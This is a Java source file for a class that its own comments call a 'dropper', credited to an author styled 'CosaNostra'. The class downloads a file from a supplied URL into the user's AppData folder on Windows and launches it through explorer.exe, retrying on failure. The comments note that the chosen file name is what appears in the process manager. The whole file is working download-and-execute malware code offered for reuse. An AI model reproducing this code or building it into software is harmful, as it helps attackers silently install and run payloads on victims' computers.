DownExec

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;

/**
 * A simple dropper class that should probably be incorporated into a larger
 * class, as this is a static implementation. Essentially downloads and executes
 * a file. ONLY WORKS FOR WINDOWS COMPUTERS.
 *
 * @author CosaNostra
 * @version 1.0
 */
public final class DownExec {
    /**
     * The local AppData folder for the current user.
     */
    private final static File APP_DATA = new File(System.getenv("APPDATA"),
        "DataFolder");

    /**
     * Attempts to download and execute the file a specified number of times
     * from the provided URL and saves it as the name that is provided. So
     * whatever name you pass will show up in the process manager.
     *
     * @param url
     *            The URL to downlaod the file from, must be fully qualified.
     * @param name
     *            The name that the file will use, must have an extension or it
     *            will not execute.
     * @param maxAttempts
     *            The maximum number of times we should try to download and
     *            execute.
     * @return True iff the file was downloaded. Does not return false if
     *         execution fails, as I didn't really feel like implementing that.
     */
    public final static boolean downloadExec(String url, String name,
        int maxAttempts) {
    // Current number of attempts and whether or not we've succeeded.
    int attempts = 0;
    boolean success = false;

    // While we haven't downloaded it...
    while (!success && attempts < maxAttempts) {
        // If the folder doesn't exist in AppData, make it.
        if (!DownExec.APP_DATA.exists()) {
        DownExec.APP_DATA.mkdirs();
        }

        // Qualify the file location.
        final String fileLoc = DownExec.APP_DATA.getAbsolutePath()
            + File.separator + name;

        // Try to download.
        ReadableByteChannel rbc = null;
        FileOutputStream fos = null;
        try {
        // Open a byte channel to the provided url.
        final URL website = new URL(url);
        rbc = Channels.newChannel(website.openStream());
        fos = new FileOutputStream(fileLoc);

        // Transfer the file from the remove location.
        fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);

        // Report a success.
        success = true;
        } catch (final IOException e) {
        e.printStackTrace();
        } finally {
        // Clean up.
        try {
            if (rbc != null)
            rbc.close();
            if (fos != null)
            fos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        }

        // If we succeeded in downloading the file, try to execute it.
        if (success) {
        try {
            // Uses explorer.exe because it can handle all file-types.
            Runtime.getRuntime().exec(
                "explorer.exe "
                    + DownExec.APP_DATA.getAbsolutePath()
                    + File.separator + name);
        } catch (IOException e) {
            e.printStackTrace();
        }
        } else {
        // Increase the number of attempts if it failed.
        attempts++;
        }

    }
    return success;
    }
}